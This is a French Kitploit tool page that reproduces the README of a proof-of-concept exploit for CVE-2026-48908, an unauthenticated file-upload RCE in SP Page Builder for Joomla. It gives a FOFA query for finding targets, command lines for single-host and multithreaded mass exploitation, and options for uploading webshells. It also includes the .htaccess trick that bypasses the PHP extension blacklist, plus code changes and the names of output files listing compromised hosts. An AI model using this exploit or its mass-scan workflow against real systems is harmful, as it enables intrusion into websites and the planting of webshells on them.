Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-48908 — PoC RCE non authentifié pour CVE-2026-48908 SP Page Builder (Joomla) exploit de téléchargement de fichier arbitraire et d'exécution de code à distance avec prise en charge de l'analyse de masse. | Kitploit
Outils/GitHubGitHub/ayiezola/cve-2026-48908
ReconnaissanceAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionDéveloppement de Charges Utiles
GitHubayiezola/cve-2026-48908

CVE-2026-48908

PoC RCE non authentifié pour CVE-2026-48908 SP Page Builder (Joomla) exploit de téléchargement de fichier arbitraire et d'exécution de code à distance avec prise en charge de l'analyse de masse.

Voir le dépôt
1il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-48908 — SP Page Builder RCE non authentifié

SP Page Builder (com_sppagebuilder) pour Joomla ≤ 6.6.1 permet à des attaquants non authentifiés de téléverser des fichiers arbitraires et d'obtenir une exécution de code à distance.

ChampValeur
CVECVE-2026-48908
CWECWE-284 (Contrôle d'accès incorrect)
ComposantSP Page Builder (com_sppagebuilder)
Versions concernées1.0.0 – 6.6.1
Corrigé dans6.6.2
Privilèges requisAucun (pré-authentification)
Interaction utilisateurAucune

Requête FOFA

root@kitploit:~
body="com_sppagebuilder"

Utilisation

Prérequis

  • Python 3.8+
root@kitploit:~
pip install -r requirements.txt

Hôte unique

root@kitploit:~
python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check          # sonde uniquement, sans commande
python3 exploit_poc.py https://target.example --token abc123   # jeton personnalisé

Scan de masse

root@kitploit:~
python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20           # 20 threads parallèles
python3 exploit_poc.py --hosts ips.txt --no-verbose             # mode silencieux

Webshell personnalisé

root@kitploit:~
python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php

Remarque : Lorsque vous utilisez --shell-file, le script ne fait que téléverser le webshell et rapporte l'URL. Il n'exécute pas la commande -c ni aucun test d'exécution. Le shell téléversé doit gérer les entrées de commande de manière indépendante.

Options

Démonstration

Hôte unique

Scan de masse

Scan de masse 1

Scan de masse 2

Sortie

Après un scan, trois fichiers de résultats sont sauvegardés :

Fonctionnement

L'exploit abuse de la tâche asset.uploadCustomIcon de com_sppagebuilder :

  1. Envoi d'un ZIP (package d'icônes) non authentifié sans jeton CSRF.
  2. SPPB extrait le ZIP dans /media/com_sppagebuilder/assets/iconfont/<nom>/fonts/.
  3. Le fichier PHP téléversé est servi publiquement.

Le script essaie plusieurs extensions PHP (.php, .PHP, .pHp, .Php, .pht, .phtml, etc.) jusqu'à en trouver une qui s'exécute.

Contournement via htaccess

Lorsque les extensions PHP directes sont bloquées par le filtre SPPB, le script dépose un fichier .htaccess à côté de la charge utile :

root@kitploit:~
AddType application/x-httpd-php .PHP

Cela force le serveur web à traiter .PHP (majuscule) comme du PHP — contournant la liste noire sensible à la casse de SPPB. Nécessite AllowOverride activé et PHP autorisé dans /media.

Remarque : Le contournement par .htaccess + .PHP majuscule peut ne pas fonctionner sur toutes les configurations. En cas d'échec, essayez d'utiliser les extensions .png ou .jpeg à la place. Sur les serveurs avec AllowOverride désactivé ou PHP bloqué dans /media, même les shells téléversés ne s'exécuteront pas (signalé comme « écriture seule »).

Modifications

Ce PoC est basé sur https://github.com/papageo75/CVE-2026-48908-PoC/ avec les ajouts suivants :

1. Gestion des réponses non JSON

Certaines réponses serveur peuvent contenir des préfixes non JSON (par ex. des expressions cron ou autres déchets) avant la charge utile JSON réelle. Le PoC d'origine plantait sur r.json() lors de l'analyse de ces réponses. Cette version recherche le premier caractère { et tente de décoder la sous-chaîne JSON :

Avant :

root@kitploit:~
try:
    data = r.json()
except ValueError:
    return None

Après :

root@kitploit:~
try:
    data = r.json()
except ValueError:
    raw = r.text
    idx = raw.find("{")
    if idx == -1:
        return None
    try:
        data, _ = json.JSONDecoder().raw_decode(raw[idx:])
    except ValueError:
        return None

Exemple — réponse JSON valide :

root@kitploit:~
{
    "name": "icoctxojp",
    "data": {
        "id": 17,
        "type": "iconfont",
        "name": "icoctxojp",
        "title": "Icoctxojp",
        "assets": "["ico ico-x"]",
        "css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
        "created": "2026-06-24 07:26:18",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

Exemple — réponse non JSON (déchets préfixés avant le JSON) :

root@kitploit:~
cron:self,tpl:amara_pro,cfg:ok{
    "name": "icoxwetsw",
    "data": {
        "id": 163,
        "type": "iconfont",
        "name": "icoxwetsw",
        "title": "Icoxwetsw",
        "assets": "[\"ico ico-x\"]",
        "css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
        "created": "2026-06-24 03:42:57",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

2. Support du scan de masse

Ajout de la capacité de scan multithread :

  • --hosts <fichier> — charger les cibles depuis un fichier (une par ligne)
  • -j, --threads <n> — définir le nombre de threads parallèles (par défaut : 10)
  • --no-verbose — supprimer la sortie verbeuse par hôte
  • Résultats regroupés et sauvegardés dans des fichiers .txt catégorisés

3. Téléversement d'un webshell personnalisé

Ajout de l'option --shell-file <chemin> pour téléverser un webshell PHP personnalisé au lieu du shell intégré protégé par jeton. Avec cette option :

  • Le script téléverse le shell sans exécuter les commandes -c
  • Aucun test d'exécution (run()) n'est effectué
  • Toutes les extensions fonctionnelles sont testées et rapportées
  • Résultats sauvegardés dans custom_shell_hosts.txt

Avertissement

UTILISATION AUTORISÉE UNIQUEMENT. Pour les tests de pénétration autorisés, les CTF et les cibles de laboratoire uniquement. Vous êtes seul responsable de l'utilisation de cet outil.

Télécharger l’outil
OptionDescription
urlURL cible (positionnelle ou --url)
--hosts <fichier>Fichier contenant un hôte par ligne
-c, --cmd <commande>Commande à exécuter (par défaut : id)
--checkSonde uniquement, n'exécute pas de commande
--token <jeton>Secret protégeant le shell téléversé (par défaut : aléatoire)
--shell-file <chemin>Téléverse un webshell PHP personnalisé au lieu du shell intégré
-j, --threads <n>Threads parallèles pour le scan de masse (par défaut : 10)
--no-verboseSupprime la sortie verbeuse par hôte
FichierContenu
vulnerable_hosts.txtHôtes avec RCE confirmée + URL des webshells
not_vulnerable_hosts.txtHôtes corrigés ou absents
partial_vulnerable_hosts.txtHôtes avec écriture de fichier mais sans exécution PHP
custom_shell_hosts.txtHôtes avec shell personnalisé téléversé, regroupés par URL de base (généré uniquement avec --shell-file)
scan_results.jsonRésultats JSON complets pour tous les hôtes